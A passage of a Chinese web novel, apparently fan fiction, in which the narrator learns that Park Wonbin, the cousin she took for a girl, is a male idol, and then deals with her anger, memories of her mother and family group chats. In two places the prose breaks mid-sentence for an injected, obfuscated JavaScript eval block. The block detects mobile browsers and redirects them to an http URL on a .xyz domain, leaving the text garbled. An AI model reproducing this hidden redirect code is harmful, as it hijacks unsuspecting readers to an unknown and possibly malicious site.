我在心中翻了个大大的白眼,面上却微笑着点点头,余光瞅见将太郎那熟悉的一言难尽的表情。 看什么看,没看过甜蜜姐妹情吗? 出于礼貌,他们没进房,让我一个人收拾,同时把他们住的宿舍地址发给了我,说有事可以来找他们,不过来之前要打声招呼,让他们提前做好点准备。 我试着导航了一下从酒店到宿舍的距离,发现好像也不是很远。 不过我当然不会隔三差五就去找朴元彬,毕竟我知道每个人都是要回归自己的生活的。 离开前,朴元彬特地叮嘱我不要忘了每天和大家报平安,不然要是哪天真忘了报备,不过一小时,姨妈姨父都能连夜赶来首尔找我。 说完他们就走了。 一直站在酒店走廊里过于显眼,不久后我也随之推着行李箱进了身后的房间。 我一屁股坐在打扫干净的酒店地板上,打开行李箱,把里边的洗漱用品拿了出来,还有自备的小袋装沐浴露洗发膏等等。 收拾完毕,太阳也下山了,于是我点了个定时的酒店晚餐配送,然后就提起叠得方方正正的浴巾和睡衣就去浴室洗澡。 终于把身上一路的劳碌洗去后,我一边擦头一边去门口拿到了的晚餐。 点的是蜂蜜炸鸡,甜口的,吃多了容易腻。 本来我喝矿泉水就有点喝饱了,所以吃了几口就果断放下,结果甜腻的油炸味伴随黏糊糊的蜂蜜芥末的口感在口腔中愈来愈清晰。 我忍无可忍,跑去漱了个口,试图把这阵怪异的味道压下去。 冷水冲过牙龈,那里长了一块智齿,像是在红土中探头的果实,一受到什么冷热刺激就会连根带起细细密密的疼痛。 我控制不住地舔了舔那里。 这一个月都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340665|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙着适应新生活,更别说看牙了。但是我秉承着不疼就无视的纵容心态,没牙龈发炎到影响我的正常生活就不打算管。 我又含了一口水,还没吐出来,就注意到放在一旁自动熄屏的手机因为消息提示又亮起。 我拿起手机,发现是朴元彬给我发了kkt。 kkt有个不知是好处还是坏处的功能:如果点开来看了,对方那儿就是就会显示你的已读。 但是我没有直接打开手机,只看到了主屏上蹦出的一角弹窗,隐约露出了一点儿文字。 朴元彬说:我在你房门口……后面的内容要点开才能看,我点进聊天主页,于是气泡框本有的“1”因读过而消散,取而代之出现的部分是没说完的内容。 她说,开门吧,我有事要跟你说。 我把漱口水吐了出来,薄荷牙膏的味道在口腔里弥漫,连唇瓣上的水痕都没顾得上擦干净,就噔噔噔跑去开门。 朴元彬裹得比下午更厚了,甚至她直接戴了一顶针织包头帽,把发丝全都薅了上去,一点儿都没露出来。 要不是刚刚朴元彬给我发了消息,告诉我是她来了,我早就被这诡异的打扮吓得报警了。 朴元彬比我率先开口,她低着声音说,先让她进房间再说。 于是我二话不说地把朴元彬请了进来。 单人房,所以只有一双拖鞋,现在正套在我的脚上。 但明天会有保洁人员定时负责打扫卫生,所以我直接让她穿着鞋就进来了。 我有点小洁癖:从外面回来的人不许直接坐在床上,因此稍稍委屈了一下朴元彬,让她坐在床边的躺椅上。 所幸朴元彬也不在意这些细枝末节,她刚坐下,我就问:“不是要工作了吗?怎么又来了?” 要是因为我的原因耽搁了别人的正常生活,那就亏大了。 朴元彬告诉我:“今天的练习已经结束了,所以有些事情想跟你说。” 我注意到这句话用的词是“练习”。……练习?难不成她是什么运动员?怪不得有肌肉。 她的语气很郑重、严肃,搞得我都情不自禁紧张了起来。 奇怪的是,即使已经到了房间里,朴元彬也没有脱掉她的全副武装,搞得我都看不见她藏在大墨镜跟口罩下面的表情是什么样子的,因此无从得知她此时的心情。 这种完全拿不到知情权的感觉令我微妙地不爽,于是我问:“要不要先脱掉外套再说?你不热吗?”虽然客房也开了空调,而且大酒店的空调功效比家里的还要猛。 朴元彬没说话。 她的眼睛藏在墨镜片后边,与黑色融为一体,直勾勾地看着我。 随后,跟反射弧极长似的,朴元彬过了几秒才缓慢地点了点头,抬臂时却没有脱掉衣服,反之握住了我的手腕,然后带动我的指尖,覆在自己柔软的帽沿之上。 我感觉到她的掌心被汗水濡湿,不过因为我的干燥,所以脱掉帽子的时候轻而易举。 柔顺的、蓬松的发丝自包裹的布料中脱落,长度却不是我熟悉的模样。 我的心中蓦然涌起一阵不安。 朴元彬把中长发剪了,同时后部又削了点发,导致她原本雌雄莫辨的美又向某个具体的、与我记忆中相反的性别倾斜。 手指再被带着往下、墨镜与口罩也扯掉了。 五官倒仍是我所知的模样——其实朴元彬的眉眼本就有些锋利,只是之前因为发型缘故被敛起了少许,现在则是不掩锋芒地悉数透露,可又因为她眼睛中,显而易见的纠结削弱了很多。 心里的不安强烈地扩大,犹如一场静默的风暴的来袭。我觉察到原来相握的湿漉漉的掌心间并不是朴元彬的汗水,是我的——是洪水降临前泛起的虚弱的涟漪。 然而,向来纵容我的朴元彬此时罕见地没有退让,好像铁了心地要拨开我的血肉,再把疼痛往里边填充。 她紧紧地攥住我的手,又往下摸。 在无数个夜晚我都抚摸过那睡衣底下光洁的皮肤,可扒掉朴元彬的外衣还是头一次,最后脱得只剩打底的一件黑色无袖背心。她的手臂靠内一侧有一颗小小的痣,像是不小心点上去的黑墨水。 她带我感受紧贴骨骼的筋肉,随着急促的呼吸震颤。 我突然意识到什么,而后脸色一沉,用力甩开朴元彬,接着毫不克制力气地从她?的背心下摆钻进去,冷冰冰的掌心被腹肌温热的温度刺激。 我曾觉得女性拥有匀称健壮的身材不是异端的存在,可现在就差最后一层薄膜就能掀开的事实告诉我并非如此。 我近乎是用掐的力道确认过朴元彬的肋骨、腹部、胸间,最后停留在窝了一团温暖又柔软的器官的外皮处。他鼓动的心跳声在我的手下震动。 注:女主只是用了点力在检查身体,没有进一步的举动 我连手都来不及抽出,就毫不犹豫地又继续往上——背心的布料还包裹着我的手背,因为我的动作一直被掀到了锁骨下方。 注:没扒光 但我顾不上那么多,于是朴元彬的躯体便一览无余地暴露在我的眼前,格外刺眼。 注:还有一层背心,没光着 我摸上他的喉间——或者说这种力道用“掐”来形容更合适。对方挂着的星星项链的链条搁得我手心发疼,掌心似乎已经因反力道烙上了红印。 注:只是用了点力在摸脖子,审核你洗澡不搓脖子?? 我用力地抠过在喉咙的某处隆起的线条,像是要把里边的甲状软骨结构挖出来,再放到光天化日之下细细端详。 以前的我知道女性拥有喉结其实并不奇怪:这种构造与男女生理差异无关,仅仅是激素分泌原因而已。可此时此刻反倒成了彰显某个真相的一大证据。 朴元彬默不作声,仿佛自知理亏,因而任由我肆意的举止。 他用那双漂亮的眼睛望向我,我抬起头,发现里面照应出的不是讥讽也不是心虚,更不是被疼痛带起的委屈,只是单纯的因我而起愧疚——这让我更恶心了。 他凭什么感到愧疚?他凭什么不嘲笑我曾经的自以为是?他在这一个月里是怎么看待我的行为的? 有那么多次,朴元彬可以有机会义正言辞地推开我,但是他没有。于是我一步步得寸进尺,结局就是此时此刻我踏出的每一步都成了无尽的后悔。 朴元彬又是怎么想的?觉得我很滑稽?觉得我顺理成章地落入了他的圈套?其实他就是故意的、想引诱我上钩? 但凡朴元彬能展露出以上任何一点提到的神色,我都有理由把他压着揍一顿,借此宣泄我的愤怒。 可是,偏偏他没有。 我感到惶恐:我后知后觉我的预判从来没准过。 我曾以为我非常了解朴元彬:我了解他的作息,知道他通常会熬到两三点才躺下;我了解他的喜恶,知道他爱吃热乎乎的火锅、不擅长吃辣却总爱尝试;我了解他的每一处面部表情,知道他在思考时会别开目光,导致像是在故意不给对方好脸色看。 ——可是现在一切对他的了解都崩塌了。我连人最本质的生理性别都未曾摸清,那么接触到的其他的存在还会是正确的吗? 我希望能有一件完全属于我的物品,只要在它的身上我就能无尽索取又不与回报,同时我还洞悉对方的每一处:它的外皮、血肉、骨髓都被我吻过,一切都走不出我的控制。 我以为我把他攥在了手心,却发现被耍得团团转的人是我。 我的脑子里越是一片空白,掐着朴元彬的脖子的力道就越来越大,但反而像是我在被一双无形的手勒住喉咙。 恍如一条柔软的围巾包住我的脖颈,软趴趴的,起初毫无杀伤力,甚至很舒服,却在温暖中无形地向上提起再收缩。 然后我意识到这不是错觉,因为他曾为我亲手戴上的项链正因我剧烈的心理活动变幻缓慢地收紧,在朦胧的爱之中悄无声息浸生出了它的反义词。 我在窒息感里头晕目眩,手自动无力地松开,偏偏朴元彬的声音又强硬地塞进我的脑海。 他用手背擦拭我额头的冷汗,就像初见的那天“她”替我抹掉眼泪;他靠近我,就像许多个夜晚我曾接近“她”依偎汲取不曾获得的情感,同时缓慢地、尽量轻柔地说道:“……拖拉到今天才告诉你,明明是想让你在首尔好好玩三天的——但是我发现再不说就来不及了,因为后面几周我挤不出时间,而我想亲自向你坦诚。” 我不想听。 他郑重地、犹如法庭上的审判长敲下命运之锤,亲自承认了那个残忍的真相:“我答应过你不会说谎——所以,我想对你说:彩书,很抱歉欺骗了你。” 我不想听我不想听我不想听——你没感觉到我在反抗吗? “我知道,这确实一时很难接受,可我和你发过誓了……” 朴元彬跟感受不到疼似的,义无反顾地继续说。他告诉了我他的身份,目前正作为idol活跃着,之前逛街曾遇到的与他搭讪的人,不是以前认识的老师同学或朋友,只是他的粉丝——不过他可以对我保证,他没有向粉丝泄露我的个人信息,开学后不必担心被别人认出来。 我在乎的是这个吗?担心的是这个吗? 我在那天任性地要求朴元彬与我许下的誓言,在此时此刻反而成为了一把锋利的剑刃,把我刺得鲜血淋漓。 我又开始感觉到一阵熟悉的头晕目眩,好像我试图把存留在我记忆中的另一个“朴元彬”单独剥离出来,连并我对“她”付出的真情实感和爱也一起。 或者是把它们完完全全封藏在记忆深处,甩到地上踩烂再当作垃圾扔走。 然而我悲哀地发现没有那么轻松。 因为意欲舍弃掉的爱像腐烂的蛆虫,即便扔掉了也会顽强地顺着我的四肢攀附上来。 它们钻过我的眼球,穿过连接大脑的神经,最终重新爬回我的脑海,并低语着告诉我:你永远也忘不掉“她”了。 5. 我与朴元彬与爱恨 我也不是从刚出生就马不停蹄地搬去首尔的。 长到从幼儿园跨越至小学的年龄,母亲才左手挎着沉甸甸的包、右手提着比我还大的行李箱,带我跑来首尔移居。 这所都市地大物博,分布的商业街和菜市场比蔚山要复杂了多。 母亲每次在决定完住所后的第一件事,不是安置家具,也不是先买决定下顿饭的食材,而是把周遭的环境建筑都摸透。完全陌生的处境会让她感到不安。 我看着母亲对着小小的手机屏幕上亮起的Naver地图研究的样子,忽然感觉:她有点像猫。 *Naver地图=韩国地图 在我那只橘猫还活着的时候——它刚来到我们家,对陌生的环境极其应激:猫粮不吃、水不喝,连厕所都不上,只是警惕地在一方角落里环顾四周。 等到适应后,猫才慢慢溜出来,在各个地方留下自己的气味。 我这么想着,又被自个儿的比喻吓了一跳。 猫那么可爱,还是不要当作母亲的形容词了。 我的小学到家有点远,母亲不得不早晚都定个闹钟来警示自己记得送我上下学,于是最后为了节省时间,她干脆在接我回来的路上顺道去了菜市场。 我背着装满书的书包,在人来人往的市场中攥住母亲的衣角,努力不被纷纷攘攘的人群挤走。 接地气的方言口音、旁边的大叔大婶扯着破锣嗓子的讨价还价、以及蔬菜水果肉类海鲜混杂在一起散发出的奇妙的气息,构筑了这一方窄小的天地。 温暖的、粗糙的、细瘦的手,在我诞生在世上的那一刻拥抱过我的襁褓,如今则是牵起我的指尖,带着我走到卖肉的铺子旁。 她怜爱地摸摸我的脸颊,说,为了庆祝你升入小学——为了祝贺我们搬到首尔——我也不知道到底是出于哪种理由,也不知道她是不是真心的,总之,我只记得母亲告诉我:今晚做你最喜欢的烤五花肉。 我们驻足在卖肉的铺子前。 传说,有这样一种挑货的窍门:店家会把牲畜的头高高挂在铺子的招牌旁,有些懂内行的人光是看动物残留的完整的头部的状态,就能判断出它们的质量,从而推断切下来的是不是好肉。 我不懂这些,看到肉铺的第一反应只有被吓了一跳:那头肥硕的头颅被钩子刺着以便固定,眼皮没有合上,那双黑漆漆的眼睛就这么瞪着来购买它的肉的人。 底下的身躯被瓜分成不同部位的肉,再敞开摆在桌面上。 脚踏的地面附着了一层血与脂油混合的黏答答的物体,早就干涸,散发出腥甜的气息。 我具体忘了那是什么感觉,反正肯定不好闻就是了。 卖肉的人在和母亲交谈,对方拿着刀比划,最后和母亲达成协议,从猪的腹部切下了一整条生的五花肉。 似乎是肉铺生意忙碌,这几天没顾得上磨刀,致使刀面已然有变钝的倾向,于是屠夫不得不多用了点力气,这才把刀刃狠狠地插到肉与脂肪相间的腹肚中。 我望着那果断的动作,莫名地有些胆战心惊。 屠夫剁一刀,我就不受控制地眨一下眼睛,仿佛眼皮在为这场单方面的屠杀滑稽地伴舞。 一旁的大人,包括在剁肉的屠夫跟母亲,看到我的举止,都毫不留情地发出嘲笑——但后来他们给我解释,说只是觉得小孩子的条件反射很可爱,让我不要放在心上。 可我不知道这哪里好笑,也不知道哪里可爱,因为当时荡漾于心间的仅有后怕的余悸。 见我不服气的样子,大人们又趾高气昂地指点,好像他们就比我多活了几十年,脑子就比我灵光似的:现在的小孩还是被保护得太好了,连玩笑都开不起!真不知道以后上了社会该怎么办。 还好我没被迫听完他们自以为是的教育,因为肉放久了不新鲜,升入小学的第一天又有很多书的封皮要包,母亲就赶着带我回去。 回到家里,母亲要二次处理五花肉。 菜刀顺着猪肉的纹理迅速砍入,切出肥瘦相间的一条条。 她的力气与动作幅度当然是比不上菜场豪迈的屠夫,因此刀刃跟菜板发出的碰撞声也不会刺耳到像是用五个指甲一起抓黑板。 切好的五花肉还需要去腥,母亲把姜片大葱等等调味品撒上盐,和肉类一并泡在一起。 过了一段时间,清澈的水被染上血色,恍如轻薄的红丝绸融入水盆中。 做完这些步骤,就可以开始烤五花肉了。 我却油然而生一股惶恐:被挂起的猪死不瞑目的黑森森的瞳孔、切下肉和筋肉部分连接时的摩擦声、锋利的刀尖在厨房的打光下折射的刺眼的光亮。 烤好的、香喷喷的五花端了上来,我的脑子里浮现的反而是它们在未处理前冒着血丝的脂肪块的模样。 但我知道,要是我突然表现出抗拒,定要受到母亲的一番指责:你以前不是最爱吃么?难得我有心情做你喜欢的菜,你怎么不赏脸色?你知道现在的猪肉要多贵吗?你现在又在装什么圣人?你能做到一辈子不吃鸡肉牛肉猪肉? 所以我忍着恶心,咀嚼再吞下。 吞下那鲜美的肉质,一并吞下留在食材上被刀划过的痕迹。 那是母亲用她手握的刀所割下的。 她存在过的痕迹,被我一并吞到肚子里,填满空荡荡的胃,再消化成长为我发育的养料。 我抵触母亲。 这种反抗情绪的产生不是在某次她将尖酸刻薄的话语当作屠刀刺向我的时候忽然冒出,而是慢吞吞地日积月累,最后在堆得我的心脏都盛不下的时候,我才迟钝地意识到:原来我讨厌她。 讨厌她的爱慕虚荣、讨厌她的懦弱胆怯、讨厌她日复一日地在我耳畔窃窃私语,叽里咕噜自己的不幸又可悲地传达她希望寄托在我身上的幻想。 但是不得不承认,她又存在于我生活的每一个角落、存在于我脑海与心房中的每一处空隙。 我在购物,第一反应会想起她扭曲又贫瘠的金钱观,因此挑拣心仪物的手又犹豫着放下;我在领成绩单,考砸后的举措不是按照老师所说的认真反思并巩固遗漏的知识点,而是满脑子都在思考要怎么和她解释。 ………… 我读过某些路边摊卖的烂俗狗血女扮男装言情小说。 *本句及以下提及内容均没有内涵女扮男装文的意思 那时候正值高一,班里女生都处于春心萌动的阶段,谈恋爱的谈恋爱,没谈的就读路边摊随手卖的言情小说,读完后就又对三次韩男有了莫名其妙的滤镜跟美好幻想,然后就开始找人谈,谈了一段时间因观念不合分手(我觉得就是玩腻了,但他们总有种奇怪的自尊心,不想坦白而已),随后恢复单身状态,于是又重复以上的死循环。 我对学校那些喜欢走几步就抽风似的蹦起来隔空投篮的男生毫无兴趣,也没耐心读学校要求的推荐读物以外的课外书。 但那段时间压力大,没有其他寄托压力的方式,干脆借了前桌的一本言情小说,上课的时候偷偷叠在正课教科书的下面,慢吞吞地读。 小说是当时正好流行的女扮男装的设定,前期女主迫不得已伪装成男儿身,然后机缘巧合之下认识了男主,勾肩搭背称兄道弟了好长一段时间。 等到在女主超不经意暴露自己的真实性别后,男主会震惊、害羞,脑子里跟走马灯似的快速闪过与男装版女主相处的美好时光,不断回想起自己曾与女主同床共枕、嬉戏打闹的日子,现在得知了对方的性别,顿时觉得不对味儿了起来,脸颊迅速染上了旖旎的绯红。 再不济的套路就是男主如释重负地松了口气,心里感慨:怪不得我和你相处的时候总会忍不住面红耳赤,搞得我还以为自己弯了,还好还好。然后经历一段拉扯,慷慨激昂地说:我爱的是你不是你的性别。 于是就这么燃点比白磷低地在一起了。 我囫囵吞枣地读完,看得一头雾水,心里想男主是不是眼瞎,这么多次女主表现出异样都没看出来,以及自我陷入了复杂的逻辑问题里:要是女主一开始就是原本的性别,男主还会有机会与她接触并喜欢她吗? 借了我小说的前桌嘲笑我,说,看小说还要那么在意现实干嘛?图个精神快感不就行了。 我只好不说话,心想也是,怎么会有人瞎到别人的性别都认不出来。 ——现在我就是那个受到回旋镖的瞎子。 同时回想起前桌的那句话,意识到小说的幻想终究不能和现实划等号。 我确实在自我鞭尸般地一遍遍回想朴元彬与我曾共处屋檐的时光:白天,我去朴元彬的卧室待着,不断试图侵入他的私人空间;晚上,我主动提出一起睡觉,然后跟八爪鱼似的把四肢紧紧地缠在他的腰上;平日,我毫不吝啬自己的肢体表达,动不动就对他搂搂抱抱。 但是,回望过去,我没有羞耻害臊,也没有觉得这份曾经切实存在的记忆现在被真相荡涤得余留暧昧的色彩。 我只觉得恶心。 强烈的恶心。 仿佛被背叛的恶心。 我也没有在经历一番自顾自的思想斗争后,大发慈悲地和朴元彬和解:没关系,我喜欢的是你这个人,无关你是oppa还是eonni! 因为我就是很肤浅。 我做不到感情文主角一般只看到对方灵魂的本质,无关生理上与生俱来、无法改变的外貌和性别。 我只喜欢那个被我当作同性依赖的“她”的存在。 这种喜欢无关性取向。 正是因为是女性,有些品质与习性放在她的身上才会变得格外美好,也能令我心安理得地去接受。 ——我当然知道朴元彬没错。 是我先入为主断定了他的生理结构,然后又在一个夜晚恰到好处地缠上了他,就此一发不可收拾。 而朴元彬看着也不像有勇气在一开始就跟我坦白真相的样子。 那时候我正在适应新环境的脆弱期,亲人离世的痛苦搞得我神经无比衰弱,估计他也不好意思那么不识眼色地在我哭的时候又雪上加霜。 可是,这不影响我恨屋及乌。 我恨我怎么那么愚蠢:连母亲都花了十七年才彻底将我笼入她的阴影里,生前也是、死后也是;而我只和朴元彬相处了一个月左右的时间,就妄想比任何人还要了解并掌控他的所有。 偏偏朴元彬不抵抗,这就导致最后我们两败俱伤。 朴元彬把一切都向我坦白完毕——idol是不是因为要又唱又跳,所以肺活量很好?他在被我勒住脖子的同时依旧能毫不停顿地告知我所有,到最后只是脸上染了一片绯红。 不是因为背心被我掀到最上面的害羞,也不是因为被我压制的恼羞成怒,只是单纯地被我按得终于有点喘不过气来了。 我回过神来,意识到自己不应该这么意气用事,于是松开了朴元彬。 “说完了吗?还有瞒着我的么?”我的语气意外地心平气和,仿佛刚刚做出那么冲动的一系列动作的人并不是本人。 朴元彬看着我变幻莫测的脸色,摇摇头,而后还是没忍住,干巴巴地蹦出一句话:“……你别这样。” “我别哪样?”这是我第一次流露出如此尖锐的情绪,那股强烈的情感在我的喉咙中膨胀,刮刺我叽里咕噜倒出更多,“我又没有哭,也没有生气——如果你觉得我刚刚太粗鲁了,那我承认,我向你道歉。你想要什么补偿?” 语末未落,我就忽然刹住了嘴。 不是因为觉得这么大了还闹脾气怪不好意思的,也不是因为感觉凶朴元彬不太好。 是我突然发觉,我的语气和说话方式似乎烙上了母亲的模样。 每次我跟她吵架,到最后都是我先没了脾气,应付似的随便糊弄几句,让她冷静一下。 然后我的话语反倒像是成了母亲怒火的燃料,她会更生气,挑刺儿般的责骂像一串串爆竹蹦开:冷静?我难道不够冷静?你不要得寸进尺!你知道其他家长都是怎么管他们家小孩的吗?我和你说话的语气已经足够温和了! 于是我不说话了。 不是被骂服气了,是觉得继续和她争论太累了,且太没有意义了。 可是,朴元彬没有选择沉默。 不等我先调整过来情绪的异样,朴元彬就说:“你怪我吧,不要藏着掖着情绪,对身体不好。” 但凡这句话是别人说出来,都我会觉得对方是在假惺惺地装深情、又自以为是地在自我感动;但偏偏站在我面前的是朴元彬。 经他这么一泼冷水,我后知后觉方才没收住感情的我太幼稚了,于是我又冷静下来,平和地说:“我真没怪你,你不用太自责,我现在只是需要冷静一下。所以,暂时给我点私人空间,可以吗?” 不知道朴元彬信没信我的话,但我的语气已经尽量饱含诚意了,况且他再怎么理解能力堪忧也应该能get到我的赶客之意。 朴元彬只好起身,把皱巴巴的背心理了理、将发丝一点不漏地薅到帽子中,最后戴上墨镜、口罩再穿上厚到看不出体型的外套。 临走前,他看了看被我放到桌子上凉透了的蜂蜜芥末炸鸡,迟疑了几秒。 我没好气地说,干嘛,你要吃啊?偶像不是要管理身材吗? 朴元彬说,不是,我只是想问问你还吃不吃,需不需要我顺便帮忙带个垃圾。 好吧。 我没有任何心虚地继续应答道:“不用,我要当夜宵。” 朴元彬终于走了,单人房中恢复了原有的清净。 我在床上坐了一会儿,然后决心摘下朴元彬给我的项链。 我其实不习惯戴饰品,也不了解这些花里胡哨的东西的构造,所以自个儿把手绕到后面解开扣子的时候有些吃力。 我松开扣子,像是在剪掉缠绕在脖子上打结的脐带,然后把它包在几张厚厚的加长纸巾里边,塞到行李箱夹层的深处。 打开行李箱后,我才发现这么小的一方箱子居然处处存在着朴元彬存在过的痕迹。 首先,这个箱子是他以前用过的。本来他们一致决定给我重新买一份,但我物欲不咋高,觉着凑合用用人家不要的旧物也行; 其次,里面还没拿出来的洗面奶等护肤品是朴元彬推荐给我的,他对这类东西深有研究,以前我觉得是“她”爱打扮,现在才恍然大悟可能是他就是吃颜值这碗饭的; 最后,除了贴身衣物以外的所有衣服,都是朴元彬陪我去商业街买的。他的穿衣风格很难驾驭,喜欢穿露出锁骨的背心跟宽松的牛仔裤,我穿起来总觉得太松了,不舒服,所以又自个儿特地自搭了一件外套。 我在箱子里翻来翻去,发觉无论是哪个犄角旮旯总能扒出点朴元彬存在过的证明。 我越翻越烦,只觉得朴元彬跟我的母亲一样阴魂不散。 每一寸构筑我的躯干的血肉,都是由母亲含辛茹苦地喂养而成;而协助形成了我的一大部分崭新生活的人,又是朴元彬。 母亲像食材上的刀痕,被我吞咽后咀嚼,然后那些锋利的刀痕存在于我的胃部里,填充着生命的持续性的同时,又让我忍不住回想刀刃的锋利。 可我不得不吃,因为若是赌气地不进食一段时间,空落落的胃部就会向大脑的神经中枢传来火辣辣的灼烧般的痛感,结局也只有悲惨地饿死。 我觉得这是最low的一种死法了。 而朴元彬像氧气,无形之中渗入了我的生活,被我呼吸进去,然后悄无声息地流淌在我的血液里。 如果我想眼不见心不烦地完全抹杀掉他存在过的证明,只能把动脉割开,让血水完全流干。 可要是真这么做,指不定血还没循环一波,我自己就死翘翘了。 于是只好就此作罢。 我曾喜欢把自己闲置的物品胡乱塞满朴元彬的卧室,借此任性地留下自己的痕迹,现在这种怪异的癖好反倒对我产生了反噬作用。 眼不见心不烦,我干脆把行李箱盖上,心里想:回去后,我要把我放在朴元彬卧室里的所有东西都拿回来。 就算放在我的房间中塞不下,我都更宁愿挂二手平台闲置卖了。 反正无论如何,我都不会像以前那么傻了。 大幅度的情绪变动消耗了我不少能量,明明前不久才漱完口,我又因为饥饿拿起没吃完的炸鸡。 一盒炸鸡配了一双一次性塑料手套,现在还剩一只。 我隔着手套,捏起已经变凉的鸡腿,黏糊糊的蜂蜜即使有他物阻隔都摸起来格外明显。 我啃了几口又放下,变冷的食物更难吃了,搞得我食欲全无。 我简单收拾了一下,把产生的垃圾塞到炸鸡盒里面,又一起扔到门口的垃圾箱,随后开了窗,意图把密封的空间里的速食味散掉。 用洗手液冲了两遍手,再擦干净后,我猛地想起什么。 ——今天忘记报备了。 看了眼时间,十一点,这个时间对我而言还好。 但姨妈姨父作息肯定比我健康了多,他们平常睡得都比我早,如果是为了等我的报备特地熬夜,那我会很过意不去的。 我打开群组,里面有五个人:我、姨妈、姨父、朴兄,还有不久前刚和我见过面的朴元彬。 我还没有到会迁怒于无辜人士的地步之上,于是老老实实在群里打字:【已经在酒店啦,刚吃完晚餐】 句子有点短,担心太冷淡,我想了想,又在句尾加了个装可爱用的颜文字。 朴兄秒回,一看就是个手机不离手的大学生:【在首尔玩得开心喔!】 我回了个OK。 然后,姨夫接着朴兄的话继续讲:【在那儿有什么麻烦,随时麻烦你的两位哥哥,别客气哈。[微笑表情包]】 虽然很无语,但我还是很分得开边界的,毕竟姨夫又不知道我和朴元彬之间发生了什么,他们连我和朴元彬字面意义上的睡过都不知道呢。 这也要感谢朴家的隔音效果很好,折腾出多大的动静都不会有人发现。 所以我回了个好的。 最后,是姨妈发的消息:【晚上吃的什么呀?有没有拍照?】 好巧不巧,我刚把垃圾丢掉。 其实我可以直接实话实说,告诉姨妈我没来得及拍照,可又不好意思泼冷水,因此诚恳地答道:【吃的炸鸡,等我给照片P个滤镜再发给大家!{鞠躬表情包}】 然后我迅速切出群聊,想都没想就打开某位用户的聊天界面。 我飞快地打字:【大崎nim】 对方也是秒回,但他什么话也没说,只发了个Q版小水獭笑眯眯的表情包,长得跟他竟然有几分神似。 【……taro哥。】我认命地改了称呼。 【嗯,怎么了?】隔着屏幕,我居然能想象出将太郎的语气。 【你有没有炸鸡图?急用,需要发给别人看】 【是要给妈妈报备?】 【对】 不知道为何,明明很正常的一件事,被将太郎说出来总感觉有种莫名的羞耻,好像我是个幼儿园小孩似的。 【但是来韩国后我没吃过几次炸鸡呢,为了跳舞的时候更好看,所以需要管理身材】 好吧,我就知道问将太郎没用。 刚刚下意识点开他的聊天框,不过是因为他正好在我的聊天主页靠前一点的位置而已。 我认命地打算退出,刚要把相同的问题群发给几个关系还不错的同学的时候,将太郎又发来了消息—— 【不过我回日本的时候陪弟弟妹妹吃过日式炸鸡,这些图可以吗?[图片.JPG][图片.JPG][图片.JPG]】 我点开一瞧,居然拍得还不错。 我还以为男生拍照永远都是直男的死亡迷之视角呢。 而且将太郎选的正好是只截进了食物的局部,没有把他跟他的家人拍进去。 滤镜也帮我调好了,切成小块的酥脆炸鸡外皮反射出诱人的光泽。 我一连发了好几个感谢的表情包,然后保存下来,改都不改就发到群里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340666|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姨妈捧场地夸我拍照技术很棒,看起来很好吃,最后还不忘叮嘱我如果钱不够可以找她要。 我乖巧地回了句谢谢。 不过我其实很少跟朴家要钱。母亲剩下的遗产有一部分分给了我,我又是被她培养成了不爱花钱的性格,所以至少在这几个月,我的零花钱还是够用的。 结果不知道是不是故意的还是真的犯傻,从刚开始就一句话没吭声的朴元彬冷不丁冒出来一句:【看着不像这里的炸鸡呢】 我一愣,没反应过来,差点被自己的口水呛得面红耳赤。 确实,仔细一看,日式炸鸡跟韩式炸鸡还是有很大区别的:前者通常直接切成能一口吃的大小,而且不爱额外淋酱,通常就在旁边配一片切好的柠檬片;后者则是直接一整块端上来,相较清淡口味的日料,会有更多多重口味的蘸料。 可我当时看到炸鸡图就条件反射转发了,并且也不存在什么资格对人家友情提供的免费照片挑挑剔剔,所以没想那么多。 我现在同样来不及思考朴元彬的言外之意,因为怕其他三个无辜的人被他的话里有话带偏脑回路,赶紧抓起手机,气得一点儿力道都没控制,把屏幕敲得咚咚响:【是因为特地去找了家日料店呀,这里的餐馆真多呢!^^】 还好大家的心眼子加起来都没我多,没觉察到不对劲。 姨夫给我发了个点赞的emoji,然后说:【彩书对日本文化感兴趣吗?我记得元彬的朋友也爱看那些日漫】 我稍稍推测,觉得姨夫说的所谓的朋友应该是朴元彬的队友。 我不追星,同学们在班里火热地讨论什么什么女团和男团并企图安利我入坑的时候,我望着那小卡上印着的千篇一律的脸,觉得比书上琐碎的知识点还要难记。 他们的脸型好像永远只有两种:吉他拨片跟电视机。 但再怎么记不下来,偶像出道一般都是团体组合的这一常识,我起码还是了解的。 姨妈接话:【而且元彬还有个朋友就是日本人吧?之前还带来我们家玩过呢】 这个说的应该是将太郎。 我有点心虚,毕竟发的炸鸡图就窃自这位日本朋友的。 朴元彬发了个点头的灰猫表情包,说有机会可以介绍认识认识。 我在屏幕前翻了个白眼。 呵呵,装。 以前怎么不知道朴元彬还有这一面? 这段对话就这么到此结束了。 我本以为可以清净地享受一会儿难得的私人时光了,结果正好将太郎又发来消息。 虽然想直接装睡当没看到、等明天早上起来再回,可好歹是给我提供了图源的恩人,我只好认命地看看他发了啥。 将太郎平铺直叙:【你跟元彬吵架了?】 我发了一串省略号过去。 接着,我在“Yes”or“No”之间选择了“or”:【怎么?他告诉你的?】 【不是,我猜出来的。你知道他是男孩子了?】 好吧,看来还是我对“朴元彬”这个词太敏感了,一提到就应激。 